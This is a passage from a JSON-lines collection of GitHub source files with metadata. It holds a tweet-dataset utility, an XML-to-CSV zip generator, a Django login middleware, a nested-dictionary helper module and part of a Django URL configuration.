"call"}, {"api_name": "torch.nn.MSELoss", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.losses.FocalLoss", "line_number": 16, "usage_type": "call"}, {"api_name": "models.losses.RegWeightedL1Loss", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.L1Loss", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.losses.RegWeightedL1Loss2", "line_number": 19, "usage_type": "call"}, {"api_name": "models.losses.RegL1Loss", "line_number": 20, "usage_type": "call"}, {"api_name": "models.losses.RegLoss", "line_number": 21, "usage_type": "call"}, {"api_name": "models.losses.BinRotLoss", "line_number": 22, "usage_type": "call"}, {"api_name": "models.losses.AutoShape_Position_loss", "line_number": 26, "usage_type": "call"}, {"api_name": "models.utils._sigmoid", "line_number": 38, "usage_type": "call"}, {"api_name": "models.utils._sigmoid", "line_number": 40, "usage_type": "call"}, {"api_name": "base_trainer.BaseTrainer", "line_number": 67, "usage_type": "name"}]}
{"seq_id": "17771973787", "text": "import logging\nimport os\nimport pickle\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\n\ndef get_training_files_for_params(full_dataset, prefix, training_files_full, training_files_partial):\n    '''\n    Function that returns the correct training files, for both cases we want to use the small dataset or \n    the big dataset.\n    :param full_dataset: boolean parameter which specifies if full dataset is used or small one \n    :param prefix: the prefix of the file (might have been processed before, look into process_input)\n    :param training_files_full: the dictionary with the full files and associated label for each tweet in the file\n    :param training_files_partial: the dictionary with the partial files and associated label for each tweet in the file\n    :return: the dictionary with the correct files\n    '''\n    if full_dataset:\n        return {os.path.join('data', prefix + base_file): label for base_file, label in training_files_full.items()}\n\n    return {os.path.join('data', prefix + base_file): label for base_file, label in training_files_partial.items()}\n\n\ndef shuffle_dataset(X, y):\n    '''\n    Function that shuffles a dataset.\n    :param X: the instances of the dataset\n    :param y: the labels of the dataset\n    :return: the shuffled dataset, as a pair (X_suhffled, y_shuffled)\n    '''\n    np.random.seed(0)\n    p = np.random.permutation(len(y))\n\n    X = X[p]\n    y = y[p]\n\n    return X, y\n\n\ndef construct_dataset_from_files(filenames, split_size=0.1):\n    '''\n    Function that constructs a dataset from files. If split_size is None, then no split is performed and\n    function returns a pair (X, y). If split_size is a float value, then the dataset is splitted into train \n    set and test set, with test set size being equal to split_size * (full_dataset_size). \n    :param filenames: the dictionary which has filenames as the keys and as values the labels for the tweets \n        in each filen.\n    :param split_size: the split size of the set \n    :return: (X, y) is split_size is None, the full dataset, otherwise (X_train, y_train, X_test, y_test)\n    '''\n    logging.info(\"Loading data from files: \" + str(filenames))\n    print(\"Loading data from files: \" + str(filenames))\n\n    X = []\n    y = []\n\n    for filename, label in filenames.items():\n        with open(filename, 'r', encoding='utf8') as f:\n            for tweet in f:\n                X.append(tweet)\n                y.append(int(label))\n\n    X = np.array(X)\n    y = np.array(y)\n\n    X, y = shuffle_dataset(X, y)\n\n    if split_size is not None:\n        X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=split_size, random_state=100)\n        return X_train, y_train, X_test, y_test\n\n    return X, y\n\n\ndef construct_test_from_file(filename):\n    '''\n    Function that constructs a dataset representing the final test set used for predictions from the specified file.\n    :param filename: the filename where the test set is stored\n    :return: (X_test, ids), an pair of arrays representing the test set and associated id for each tweet\n    '''\n    tweets = []\n    ids = []\n\n    with open(filename, 'r', encoding='utf8') as f:\n        for line in f:\n            id, tweet = line.split(',', 1)\n            ids.append(id)\n            tweets.append(tweet)\n\n    return np.array(tweets), np.array(ids)\n\n\ndef create_submission(filename, predictions, ids):\n    '''\n    Function that creates a submission, given the predictions and associated ids.\n    :param filename: the filename where we store the submission\n    :param predictions: the predictions for the test set\n    :param ids: the ids of the tweets\n    :return: None\n    '''\n    with open(filename, 'w', encoding='utf8') as f:\n        f.write('Id,Prediction\\n')\n        for id, prediction in zip(ids, predictions):\n            f.write(str(id) + ',' + str(prediction) + '\\n')\n\ndef construct_predictions_from_pickles(path_train, path_test):\n    '''\n    Function that creates the prediction of the neural networks models to be used for the second tier classifier\n    '''\n    with open(path_train, 'rb') as f:\n        [X_train, y_train] = pickle.load(f)\n\n    with open(path_test, 'rb') as f:\n        X_test = pickle.load(f)\n\n    return X_train, y_train, X_test\n\n\n", "repo_name": "m-doru/tweets-binary-emoji-prediction", "sub_path": "src/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 4240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 111, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 114, "usage_type": "call"}]}
{"seq_id": "14035819427", "text": "import csv\nimport random\nimport os\nimport uuid\nimport xml.etree.ElementTree as ET\nfrom argparse import ArgumentParser\nfrom multiprocessing import cpu_count\nfrom multiprocessing.pool import ThreadPool\nfrom typing import List, Tuple\nfrom zipfile import ZipFile\n\nDEFAULT_ARC_COUNT = 50\nDEFAULT_ARC_FILES = 100\nDEFAULT_PROCESSES_COUNT = cpu_count()\n\n\nclass XmlCsvProcessor:\n    def __init__(self, zip_path: str, csv_path: str) -> None:\n        self._zip_path = zip_path\n        self._csv_path = csv_path\n\n    def gen_xml_archives(self, arc_count: int = DEFAULT_ARC_COUNT,\n                         files_in_arc: int = DEFAULT_ARC_FILES) -> None:\n        '''\n        Generates archives with XML files\n        :param arc_count: number of result archives\n        :param files_in_arc: number of files in one archive\n        '''\n        if not os.path.exists(self._zip_path):\n            os.mkdir(self._zip_path)\n\n        for _ in range(arc_count):\n            self._gen_archive(files_in_arc)\n\n    def _gen_archive(self, files_in_arc: int) -> None:\n        rand_zip_path = self._rand_zip_path()\n\n        with ZipFile(rand_zip_path, mode='w') as arc:\n            for i in range(files_in_arc):\n                root = XmlCsvProcessor._gen_single_xml()\n                self._write_xml_archive(root, arc, i)\n\n    def _rand_zip_path(self) -> str:\n        while True:\n            zip_name = XmlCsvProcessor._rand_str() + '.zip'\n            full_zip_path = os.path.join(self._zip_path, zip_name)\n            if not os.path.exists(full_zip_path):\n                return full_zip_path\n\n    @staticmethod\n    def _gen_single_xml() -> ET.Element:\n        root = ET.Element('root')\n\n        var_id = ET.Element(\n            'var', attrib={'name': 'id', 'value': str(uuid.uuid4())})\n        root.append(var_id)\n        var_level = ET.Element(\n            'var',\n            attrib={'name': 'level', 'value': str(random.randint(1, 100))}\n        )\n        root.append(var_level)\n\n        objs = ET.Element('objects')\n        for _ in range(random.randint(1, 10)):\n            obj = ET.Element(\n                'object', attrib={'name': XmlCsvProcessor._rand_str()})\n            objs.append(obj)\n\n        root.append(objs)\n        return root\n\n    @staticmethod\n    def _rand_str() -> str:\n        result = []\n\n        for _ in range(random.randint(4, 10)):\n            ch = chr(ord('a') + random.randint(0, 25))\n            result.append(ch)\n\n        return ''.join(result)\n\n    def _write_xml_archive(self, root: ET.Element, arc: ZipFile, i: int) -> None:\n        xml_str = ET.tostring(root)\n        arc.writestr(f'{i}.xml', xml_str)\n\n    def gen_csv_files(self,\n                      processes_count: int = DEFAULT_PROCESSES_COUNT) -> None:\n        '''\n        Generates CSV files from prepared XMLs in archives\n        :param processes_count: parallelism level\n        '''\n        if not os.path.exists(self._csv_path):\n            os.mkdir(self._csv_path)\n\n        with ThreadPool(processes=processes_count) as pool:\n            results = pool.map(\n                self._process_single_zip, os.listdir(self._zip_path))\n\n        levels_path = os.path.join(self._csv_path, 'levels.csv')\n        names_path = os.path.join(self._csv_path, 'names.csv')\n\n        with open(levels_path, 'w') as lf, open(names_path, 'w') as nf:\n            levels_writer = csv.DictWriter(lf, fieldnames=('id', 'level'))\n            levels_writer.writeheader()\n            names_writer = csv.DictWriter(nf, fieldnames=('id', 'object_name'))\n            names_writer.writeheader()\n\n            for res in results:\n                for id_, level, object_ids_names in res:\n                    levels_writer.writerow({'id': id_, 'level': level})\n                    for name in object_ids_names:\n                        names_writer.writerow({'id': id_, 'object_name': name})\n\n    def _process_single_zip(self, zip_name: str) -> List[Tuple[str, int, List[str]]]:\n        zip_path = os.path.join(self._zip_path, zip_name)\n        result = []\n\n        with ZipFile(zip_path) as zip_file:\n            for name in zip_file.namelist():\n                buf = zip_file.read(name)\n                root = ET.fromstring(buf.decode())\n\n                vars = root.findall('var')\n                if vars[0].get('name') == 'id':\n                    id_, level = vars[0].get('value'), int(vars[1].get('value'))\n                else:\n                    id_, level = vars[1].get('value'), int(vars[0].get('value'))\n\n                objects = root.find('objects')\n                object_ids_names = [obj.get('name') for obj in objects]\n\n                result.append((id_, level, object_ids_names))\n\n        return result\n\n\ndef main():\n    parser = ArgumentParser()\n    parser.add_argument(\n        'arch_path', type=str, help='path for arhcives generation')\n    parser.add_argument('csv_path', type=str, help='path for csv generation')\n    args = parser.parse_args()\n\n    processor = XmlCsvProcessor(\n        zip_path=args.arch_path, csv_path=args.csv_path)\n\n    processor.gen_xml_archives()\n    processor.gen_csv_files()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "oooooleg/xml_to_csv_random", "sub_path": "xml_gen.py", "file_name": "xml_gen.py", "file_ext": "py", "file_size_in_byte": 5097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "multiprocessing.cpu_count", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 30, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 52, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 52, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 54, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 54, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 55, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 57, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 57, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 59, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 63, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 63, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 64, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 65, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 65, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 51, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 51, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 76, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 77, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 82, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 82, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 82, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 83, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 83, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 93, "usage_type": "call"}, {"api_name": "multiprocessing.pool.ThreadPool", "line_number": 95, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 103, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 118, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 121, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 114, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "71584444389", "text": "from django.conf import settings\nfrom django.shortcuts import redirect, render\n\nclass login_required_middleware:\n    \"\"\" This middleware takes care of anonymous users trying to visit links that requires an user to be logged-in.\n        Also, non-admin users trying to access the admin panel \n    \"\"\"\n\n    admin_base_path = '/admin/'\n\n    def __init__(self, get_response):\n        self.get_response = get_response\n    \n    def __call__(self, request):\n        response = self.get_response(request)\n        return response\n    \n    def process_view(self, request, view_func, view_args, view_kwargs):\n        \"\"\" process_view() is called just before Django calls the view \"\"\"\n\n        assert hasattr(request, 'user'), \"assertion error in login_required_middleware()\"\n        path = request.path_info\n        if request.user.is_authenticated:\n            if not request.user.is_admin():\n                if path == self.admin_base_path:\n                    return render(request, 'trespass.html', {})\n            if path == '/':    \n                return redirect('/home/')\n        else:    \n            if path not in settings.LOGIN_EXEMPT_URL:\n                return redirect(settings.LOGIN_URL)\n", "repo_name": "ArmaanRaut/CentralPerk", "sub_path": "centralperk/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 1194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 28, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_EXEMPT_URL", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 31, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 31, "usage_type": "name"}]}
{"seq_id": "25513247717", "text": "import io\nimport logging\nimport re\nimport sys\nfrom collections import UserDict, UserList\nfrom collections.abc import Mapping, Sequence\n\nlogger = logging.getLogger(__name__)\n\n\ndef deep_update(\n    target: Mapping,\n    other: Mapping,\n    overwrite=True,\n    list_insert_index: dict = None,\n) -> None:\n    if other.get(\"_do_not_overwrite\", False):\n        overwrite = False\n    for k, v in other.items():\n        if isinstance(v, Mapping):\n            if k not in target:\n                target[k] = dict(v)  # use a copy\n            elif isinstance(target[k], Mapping):\n                deep_update(target[k], v, overwrite=overwrite)\n            else:\n                raise ValueError(\n                    f\"trying to merge key {k} map {v} into non-map {target[k]}\"\n                )\n        elif isinstance(v, Sequence) and not isinstance(v, str):\n            if k not in target:\n                target[k] = list(v)  # use a copy\n            elif isinstance(target[k], Sequence) and not isinstance(target[k], str):\n                if list_insert_index and k in list_insert_index:\n                    idx = list_insert_index[k]\n                    target[k][idx:idx] = v\n                else:\n                    for item in v:\n                        target[k].append(item)\n            else:\n                raise ValueError(\n                    f\"trying to merge key {k} sequence {v}\"\n                    f\" into non-sequence {target[k]}\"\n                )\n        else:\n            if overwrite or k not in target:\n                # this key is special, should find better way\n                if k != \"_do_not_overwrite\":\n                    target[k] = v\n\n\nclass DictWrapper(UserDict):\n    def __init__(self, dict):\n        # do not copy the original dict as the normal UserDict does\n        # but wrap the original so that updates go to the original\n        self.data = dict\n\n    def __getattr__(self, attr):\n        if attr not in self.data:\n            raise AttributeError(\n                f\"could not find attribute {attr} in {self}, {self.data}\"\n            )\n        else:\n            return wrap(self.data[attr])\n\n    def __repr__(self):\n        return f\"DictWrapper({self.data})\"\n\n    def pprint_str(self, indent=\"\"):\n        output = io.StringIO()\n        pprint_map(self, indent=indent, file=output)\n        result = output.getvalue()\n        output.close\n        return result\n\n    def deep_update_path(self, path: str, value):\n        keys = path.split(\".\")\n        data = self.data\n        for key in keys[:-1]:\n            key = key.replace(\"_dot_\", \".\")\n            if key not in data:\n                data[key] = {}\n            data = data[key]\n        final_key = keys[-1]\n        final_key = final_key.replace(\"_dot_\", \".\")\n        if final_key in data:\n            if isinstance(data[final_key], Mapping):\n                # Try to merge two Mappings\n                if not isinstance(value, Mapping):\n                    raise ValueError(\n                        f\"Can not assign non-dict {value} to\"\n                        f\"dict {data[final_key]} for path {path}\"\n                    )\n                deep_update(data[final_key], value)\n            else:\n                data[final_key] = value\n        elif final_key == \"[0]\" and isinstance(data, Sequence):\n            deep_update(data[0], value)\n        else:\n            data[final_key] = value\n\n    # TODO: Will be removed in 2.0\n    def _set_path(self, path: str, value):\n        self.set_path(path, value)\n\n    def set_path(self, path: str, value):\n        keys = path.split(\".\")\n        data = self.data\n        for key in keys[:-1]:\n            key = key.replace(\"_dot_\", \".\")\n            if key not in data:\n                data[key] = {}\n            data = data[key]\n        final_key = keys[-1]\n        final_key = final_key.replace(\"_dot_\", \".\")\n        if final_key in data:\n            if isinstance(data[final_key], Mapping):\n                # Try to merge two Mappings\n                if not isinstance(value, Mapping):\n                    raise ValueError(\n                        f\"Can not assign non-dict {value} to\"\n                        f\"dict {data[final_key]} for path {path}\"\n                    )\n                data[final_key].update(value)\n            else:\n                data[final_key] = value\n        elif final_key == \"[0]\" and isinstance(data, Sequence):\n            deep_update(data[0], value)\n        else:\n            data[final_key] = value\n\n    # TODO: Will be removed in 2.0\n    def _del_path(self, path: str):\n        self.del_path(path)\n\n    def del_path(self, path: str):\n        keys = path.split(\".\")\n        data = self.data\n        for key in keys[:-1]:\n            key = key.replace(\"_dot_\", \".\")\n            if key not in data:\n                logger.warning(f\"non existent key {key} in del_path {path}\")\n                return\n            data = data[key]\n            while isinstance(data, Sequence):\n                # get first and only item of list\n                if len(data) == 1:\n                    data = data[0]\n                else:\n                    logger.warning(f\"list at {key} in del_path {path}\")\n                    return\n        final_key = keys[-1]\n        final_key = final_key.replace(\"_dot_\", \".\")\n        if final_key in data:\n            del data[final_key]\n        else:\n            logger.warning(f\"non existent key {final_key} in del_path {path}\")\n\n    def get(self, path: str, default=None):\n        return self.get_path(path, default)\n\n    def set(self, path: str, val):\n        return self.set_path(path, val)\n\n    # TODO: Will be removed in 2.0\n    def _get_path(self, path: str, default=None, mandatory=False):\n        return self.get_path(path, default, mandatory)\n\n    def get_path(self, path: str, default=None, mandatory=False):\n        keys = path.split(\".\")\n        data = self.data\n        for key in keys:\n            key = key.replace(\"_dot_\", \".\")\n            if key == \"[0]\":\n                if isinstance(data, Sequence):\n                    if len(data) > 0:\n                        data = data[0]\n                    elif mandatory:\n                        raise ValueError(f\"could not find mandatory field {path}\")\n                    else:\n                        return default\n                else:\n                    raise ValueError(\n                        f\"trying to get [0] in path {path} of non-sequence {type(data)}\"\n                    )\n            elif key not in data:\n                if mandatory:\n                    raise ValueError(f\"could not find mandatory field {path}\")\n                return default\n            else:\n                data = data[key]\n        return data\n\n\nclass ListWrapper(UserList):\n    def __init__(self, seq) -> None:\n        # do not copy the original list as the normal UserList does\n        # but wrap the original so that updates go to the original\n        self.data = seq\n\n    def __getitem__(self, idx):\n        # Wrap the returned value\n        return wrap(self._seq[idx])\n\n\ndef wrap(obj):\n    if isinstance(obj, str):\n        return obj\n    if isinstance(obj, Sequence) and not isinstance(obj, ListWrapper):\n        return ListWrapper(obj)\n    if isinstance(obj, Mapping) and not isinstance(obj, DictWrapper):\n        return DictWrapper(obj)\n    return obj\n\n\ndef pprint_map(map, indent=\"\", file=None, use_quotes=False):\n    if file is None:\n        file = sys.stdout\n    indent_step = \"  \"\n    if isinstance(map, str):\n        print(f\"{indent}{map}\", file=file)\n        return\n    elif isinstance(map, Sequence):\n        for v in map:\n            print(f\"{indent}- {v}\", file=file)\n        return\n\n    if map is None:\n        logger.warning(\"No values present to print\")\n        return\n\n    for key in sorted(map.keys()):\n        val = map.get(key, None)\n        if isinstance(val, Mapping):\n            if len(val) == 0:\n                print(f\"{indent}{key}: \" + \"{}\", file=file)\n            else:\n                print(f\"{indent}{key}:\", file=file)\n                pprint_map(val, indent=indent + indent_step, file=file, use_quotes=use_quotes)\n        elif isinstance(val, str):\n            if use_quotes:\n                print(f'{indent}{key}: \"{val}\"', file=file)\n            else:\n                print(f\"{indent}{key}: {val}\", file=file)\n        elif isinstance(val, Sequence):\n            print(f\"{indent}{key}:\", file=file)\n            for v in val:\n                print(f\"{indent}- {v}\", file=file)\n        else:\n            print(f\"{indent}{key}: {val}\", file=file)\n\n\ndef pprint_tuple(tup, prefix=None, delimiter=\".\", pattern=None):\n    for item in sorted(tup, key=lambda x: x[0]):\n        if prefix is None:\n            print_filtered(f\"{item[0]}={item[1]}\", pattern)\n        else:\n            print_filtered(f\"{prefix}{delimiter}{item[0]}={item[1]}\", pattern)\n\n\ndef print_filtered(text, pattern):\n    if pattern is not None:\n        regex_pattern = re.compile(pattern, re.IGNORECASE)\n        if regex_pattern.search(text):\n            print(text)\n    else:\n        print(text)\n", "repo_name": "MarkHooijkaas/kreate-kube", "sub_path": "kreate/kore/_core.py", "file_name": "_core.py", "file_ext": "py", "file_size_in_byte": 9026, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.abc.Mapping", "line_number": 12, "usage_type": "name"}, {"api_name": "collections.abc.Mapping", "line_number": 13, "usage_type": "name"}, {"api_name": "collections.abc.Mapping", "line_number": 20, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 23, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 29, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 32, "usage_type": "argument"}, {"api_name": "collections.UserDict", "line_number": 51, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 69, "usage_type": "call"}, {"api_name": "collections.abc.Mapping", "line_number": 86, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 88, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 96, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 116, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 118, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 126, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 144, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 174, "usage_type": "argument"}, {"api_name": "collections.UserList", "line_number": 194, "usage_type": "name"}, {"api_name": "collections.abc.Sequence", "line_number": 208, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 210, "usage_type": "argument"}, {"api_name": "sys.stdout", "line_number": 217, "usage_type": "attribute"}, {"api_name": "collections.abc.Sequence", "line_number": 222, "usage_type": "argument"}, {"api_name": "collections.abc.Mapping", "line_number": 233, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 244, "usage_type": "argument"}, {"api_name": "re.compile", "line_number": 262, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 262, "usage_type": "attribute"}]}
{"seq_id": "10166630844", "text": "from django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls import url\nfrom booker import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseNotFound\nfrom django.shortcuts import render\n\n\nurlpatterns = [\n    path('admin', admin.site.urls),\n    path('', views.Home.as_view(), name='home'),\n    path('upcomingcampaigns/', views.BookvenueList.as_view(),\n         name='upcoming_campaigns'),\n    path('createcampaign/', login_required(views.CreateCampaign.as_view()),\n         name='create_campaign'),\n    path('dashboard/', views.CampaignList.as_view(), name='dashboard'),\n    path('venues/', views.Venue.as_view(), name='venues'),\n    path('signup/', views.register_request, name=\"signup\"),\n    path('login/', views.login_request, name=\"login\"),\n    path('logout/', views.logout_request, name=\"logout\"),\n    path('profile/', views.Profile.as_view(), name=\"profile\"),\n    path('summernote/', include('django_summernote.urls')),\n    path(\n        'delete_campaign//',\n        login_required(views.DeleteCampaign.as_view()),\n        name='delete_campaign'\n    ),\n    path(\n        'edit_campaign//',\n        login_required(views.EditCampaign.as_view()),\n        name='edit_campaign'\n    ),\n    path(\n        'delete_venue//',\n        login_required(views.DeleteVenue.as_view()),\n        name='delete_venue'\n    ),\n    path(\n        'edit_venue//',\n        login_required(views.EditVenue.as_view()),\n        name='edit_venue'\n    ),\n    path('', views.handler404),  # Catch all invalid URLs\n]\n\nhandler404 = 'booker.views.handler404'\n\nif settings.DEBUG:\n    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "repo_name": "Quack842/p4-dndcampaign", "sub_path": "dndcampaign/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "booker.views.Home.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "booker.views.Home", "line_number": 14, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "booker.views.BookvenueList.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "booker.views.BookvenueList", "line_number": 15, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 17, "usage_type": "call"}, {"api_name": "booker.views.CreateCampaign.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "booker.views.CreateCampaign", "line_number": 17, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "booker.views.CampaignList.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "booker.views.CampaignList", "line_number": 19, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "booker.views.Venue.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "booker.views.Venue", "line_number": 20, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "booker.views.register_request", "line_number": 21, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "booker.views.login_request", "line_number": 22, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "booker.views.logout_request", "line_number": 23, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "booker.views.Profile.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "booker.views.Profile", "line_number": 24, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 28, "usage_type": "call"}, {"api_name": "booker.views.DeleteCampaign.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "booker.views.DeleteCampaign", "line_number": 28, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 33, "usage_type": "call"}, {"api_name": "booker.views.EditCampaign.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "booker.views.EditCampaign", "line_number": 